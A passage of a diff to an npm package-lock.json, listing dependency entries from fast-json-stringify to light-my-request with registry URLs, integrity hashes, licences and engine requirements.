"sha512-dOvZVzjdZdz7phd9v6jCbwxrBW3fK6n8Rc0CtdmM4bumzMnxywBYhuph6J819RRw/ku+rLbelwfMunktuzVVHg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fast-json-stringify/node_modules/fast-uri": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-4.1.4.tgz", + "integrity": "sha512-dODXrIxlS9JSdgAnhIUKOosKV1oMtU2VtVw87QRaHzyl5jxO290Ii5tEZfCfzfWNHi3jKWwBSdQj0qIyshdZdQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fast-json-stringify/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-querystring": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/fast-querystring/-/fast-querystring-1.1.2.tgz", + "integrity": "sha512-g6KuKWmFXc0fID8WWH0jit4g0AGBoJhCkJMb1RmbsSEUNvQ+ZC8D6CUZ+GtF8nMzSPXnhiePyyqqipzNNEnHjg==", + "license": "MIT", + "dependencies": { + "fast-decode-uri-component": "^1.0.1" + } + }, + "node_modules/fast-safe-stringify": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", + "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-uri": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.7.tgz", + "integrity": "sha512-dOvZVzjdZdz7phd9v6jCbwxrBW3fK6n8Rc0CtdmM4bumzMnxywBYhuph6J819RRw/ku+rLbelwfMunktuzVVHg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fastify": { + "version": "5.12.3", + "resolved": "https://registry.npmjs.org/fastify/-/fastify-5.12.3.tgz", + "integrity": "sha512-reZ8wce5VNCcufIt9AVtzZa3L4u1j8esikn7OEgHWLVpRpL5R7Y2+Xzj70OUkv5zDfzUAxXZT6cu4Rt0zr3EKA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "@fastify/ajv-compiler": "^4.0.5", + "@fastify/error": "^4.0.0", + "@fastify/fast-json-stringify-compiler": "^5.0.0", + "@fastify/proxy-addr": "^5.0.0", + "abstract-logging": "^2.0.1", + "avvio": "^9.0.0", + "fast-json-stringify": "^7.0.0", + "find-my-way": "^9.6.0", + "light-my-request": "^6.0.0", + "pino": "^9.14.0 || ^10.1.0", + "process-warning": "^5.1.0", + "rfdc": "^1.3.1", + "secure-json-parse": "^4.0.0", + "semver": "^7.6.0", + "toad-cache": "^3.7.0" + } + }, + "node_modules/fastify-plugin": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/fastify-plugin/-/fastify-plugin-6.0.0.tgz", + "integrity": "sha512-fZOty7z3O7vOliF6d8bHE3wiEh1KcNnKEQensSgTk9C1DvN6nRLS++XVd86v33Hw/8u9Un8A1zDrQ8ujcQDHEg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT" + }, + "node_modules/fastq": { + "version": "1.20.3", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.3.tgz", + "integrity": "sha512-XKv5nnLs6nLF71NgiKJLIZFLkPyIEuOselLG7ujZnGrRfQK8HpvY+WqKhAJUAdLomwVHErVS4LfxFlPq0/FTAw==", + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/feaxios": { + "version": "0.0.23", + "resolved": "https://registry.npmjs.org/feaxios/-/feaxios-0.0.23.tgz", + "integrity": "sha512-eghR0A21fvbkcQBgZuMfQhrXxJzC0GNUGC9fXhBge33D+mFDTwl0aJ35zoQQn575BhyjQitRc5N4f+L4cP708g==", + "license": "MIT", + "dependencies": { + "is-retry-allowed": "^3.0.0" + } + }, + "node_modules/file-entry-cache": { + "version": "11.1.5", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-11.1.5.tgz", + "integrity": "sha512-+PFTHITI08JIGhnNpGNI8T8inUpgZfk3GNEqfT9R2zZV2iFXg3CvqzSl/uEhs7TSGujYRELEANyDvS8Fj7+S7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "flat-cache": "^6.1.23" + } + }, + "node_modules/find-my-way": { + "version": "9.7.0", + "resolved": "https://registry.npmjs.org/find-my-way/-/find-my-way-9.7.0.tgz", + "integrity": "sha512-f2JHn75x2JlwUwLenZypgczR7YWMb/uO9BvUXtus+JMgkbIkLADd38cI4EiV+OQqrGo1Zlq6V8wnqMJ8e62wUQ==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-querystring": "^1.0.0", + "safe-regex2": "^5.0.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat-cache": { + "version": "6.1.23", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-6.1.23.tgz", + "integrity": "sha512-f++BY9pTk+983xK1FLzlLpmM0i0z+jHmx3QESGkURMXujQZz1k5wzwX6hjnQ8goaD0B+sYnDK1yZ6MTyZfUaqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "cacheable": "^2.5.0", + "flatted": "^3.4.2", + "hookified": "^1.15.0" + } + }, + "node_modules/flatted": { + "version": "3.4.4", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.4.tgz", + "integrity": "sha512-5+ybhBZANEJxaH3X5evAFatUxLfEHSr7n6kYJ+1Qd0mUqr4eu9gIf6GDbWHf8RJijHrjjO8G+la14SlL2SeS1Q==", + "dev": true, + "license": "ISC" + }, + "node_modules/follow-redirects": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/form-data": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", + "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.4", + "mime-types": "^2.1.35" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/generate-function": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/generate-function/-/generate-function-2.3.1.tgz", + "integrity": "sha512-eeB5GfMNeevm/GRYq20ShmsaGcmI81kIX2K9XQx5miC8KdHaC6Jm0qQ8ZNeGOi7wYB8OsdxKs+Y2oVuTFuVwKQ==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "is-property": "^1.0.2" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-port-please": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/get-port-please/-/get-port-please-3.2.0.tgz", + "integrity": "sha512-I9QVvBw5U/hw3RmWpYKRumUeaDgxTPd401x364rLmWBJcOQ753eov1eTgzDqRG9bqFIfDc7gfzcQEWrUri3o1A==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/giget": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/giget/-/giget-3.3.1.tgz", + "integrity": "sha512-r+mvuDjrjMpsdw46Kmeydb8bdHm7wOKw8wNBtTndkjbPjgAp5oUJUxRE76wZFknxIPokfWvep2qSXK37aXE6zg==", + "devOptional": true, + "license": "MIT", + "bin": { + "giget": "dist/cli.mjs" + } + }, + "node_modules/glob": { + "version": "13.0.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-13.0.6.tgz", + "integrity": "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw==", + "license": "BlueOak-1.0.0", + "dependencies": { + "minimatch": "^10.2.2", + "minipass": "^7.1.3", + "path-scurry": "^2.0.2" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "devOptional": true, + "license": "ISC" + }, + "node_modules/grammex": { + "version": "3.1.13", + "resolved": "https://registry.npmjs.org/grammex/-/grammex-3.1.13.tgz", + "integrity": "sha512-LnPnhOBLEJEVKS8WFDVaA397L9Kq55Q9oSITJiVLHVdhAclfUkWzQv74KhvZHKL2Q09Pb1XdsrOsZ4LfTFFTEg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/graphmatch": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/graphmatch/-/graphmatch-1.1.1.tgz", + "integrity": "sha512-5ykVn/EXM1hF0XCaWh05VbYvEiOL2lY1kBxZtaYsyvjp7cmWOU1XsAdfQBwClraEofXDT197lFbXOEVMHpvQOg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hashery": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/hashery/-/hashery-1.5.1.tgz", + "integrity": "sha512-iZyKG96/JwPz1N55vj2Ie2vXbhu440zfUfJvSwEqEbeLluk7NnapfGqa7LH0mOsnDxTF85Mx8/dyR6HfqcbmbQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "hookified": "^1.15.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/hasown": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/helmet": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/helmet/-/helmet-7.2.0.tgz", + "integrity": "sha512-ZRiwvN089JfMXokizgqEPXsl2Guk094yExfoDXR0cBYWxtBbaSww/w+vT4WEJsBW2iTUi1GgZ6swmoug3Oy4Xw==", + "license": "MIT", + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/help-me": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/help-me/-/help-me-5.0.0.tgz", + "integrity": "sha512-7xgomUX6ADmcYzFik0HzAxh/73YlKR9bmFzf51CZwR+b6YtzU2m0u49hQCqV6SvlqIqsaxovfwdvbnsw3b/zpg==", + "dev": true, + "license": "MIT" + }, + "node_modules/hookified": { + "version": "1.15.1", + "resolved": "https://registry.npmjs.org/hookified/-/hookified-1.15.1.tgz", + "integrity": "sha512-MvG/clsADq1GPM2KGo2nyfaWVyn9naPiXrqIe4jYjXNZQt238kWyOGrsyc/DmRAQ+Re6yeo6yX/yoNCG5KAEVg==", + "dev": true, + "license": "MIT" + }, + "node_modules/http-errors": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", + "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", + "license": "MIT", + "dependencies": { + "depd": "~2.0.0", + "inherits": "~2.0.4", + "setprototypeof": "~1.2.0", + "statuses": "~2.0.2", + "toidentifier": "~1.0.1" + }, + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/iconv-lite": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", + "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "license": "ISC" + }, + "node_modules/internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "devOptional": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/ip-address": { + "version": "10.7.0", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.7.0.tgz", + "integrity": "sha512-BGFsyJd5mpXp3rK6jIdADLNgpJUK1jnjzvYF8lK+VyDab9JAmqN0YOKDdP17HlgKb2+ehPgDc8EtnRLbGCAMhA==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/ipaddr.js": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.5.0.tgz", + "integrity": "sha512-aq+t5NAc+cS6rZQQVWC2x98CPqGtKKTMDd4Gaodv0wShnItdKg/51djkGJ1hqH+Oy0ivDftCbSLCQob8zso01w==", + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-property": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-property/-/is-property-1.0.2.tgz", + "integrity": "sha512-Ks/IoX00TtClbGQr4TWXemAnktAQvYB7HzcCxDGqEZU6oCmb2INHuOoKxbtR+HFkmYWBKv/dOZtGRiAjDhj92g==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/is-retry-allowed": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-3.0.0.tgz", + "integrity": "sha512-9xH0xvoggby+u0uGF7cZXdrutWiBiaFG8ZT4YFPXL8NzkyAwX3AKGLeFQLvzDpM430+nDFBZ1LHkie/8ocL06A==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "devOptional": true, + "license": "ISC" + }, + "node_modules/jiti": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", + "integrity": "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==", + "devOptional": true, + "license": "MIT", + "bin": { + "jiti": "lib/jiti-cli.mjs" + } + }, + "node_modules/joycon": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/joycon/-/joycon-3.1.1.tgz", + "integrity": "sha512-34wB/Y7MW7bzjKRjUKTa46I2Z7eV62Rkhva+KkopW7Qvv/OSWBqvkSY7vusOPrNuZcUG3tApvdVgNB8POj3SPw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/json-schema-ref-resolver": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/json-schema-ref-resolver/-/json-schema-ref-resolver-3.0.0.tgz", + "integrity": "sha512-hOrZIVL5jyYFjzk7+y7n5JDzGlU8rfWDuYyHwGa2WA8/pcmMHezp2xsVwxrebD/Q9t8Nc5DboieySDpCp4WG4A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "dequal": "^2.0.3" + } + }, + "node_modules/json-schema-resolver": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/json-schema-resolver/-/json-schema-resolver-3.0.0.tgz", + "integrity": "sha512-HqMnbz0tz2DaEJ3ntsqtx3ezzZyDE7G56A/pPY/NGmrPu76UzsWquOpHFRAf5beTNXoH2LU5cQePVvRli1nchA==", + "license": "MIT", + "dependencies": { + "debug": "^4.1.1", + "fast-uri": "^3.0.5", + "rfdc": "^1.1.4" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/Eomm/json-schema-resolver?sponsor=1" + } + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/keyv": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.6.0.tgz", + "integrity": "sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/light-my-request": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/light-my-request/-/light-my-request-6.6.0.tgz", + "integrity": "sha512-CHYbu8RtboSIoVsHZ6Ye4cj4Aw/yg2oAFimlF7mNvfDV192LR7nDiKtSIfCuLT7KokPSTn/9kfVLm5OGN0A28A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause", + "dependencies": { + "cookie": "^1.0.1", + "process-warning": "^4.0.0", + "set-cookie-parser": "^2.6.0" + } + }, + "node_modules/light-my-request/node_modules/process-warning": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/process-warning/-/process-warning-4.0.1.tgz", + "integrity": "sha512-3c2LzQ3rY9d0hc1emcsHhfT9Jwz0cChib/QN89oME2R451w5fy3f0afAhERFZAwrbDU43wk12d0ORBpDVME50Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": 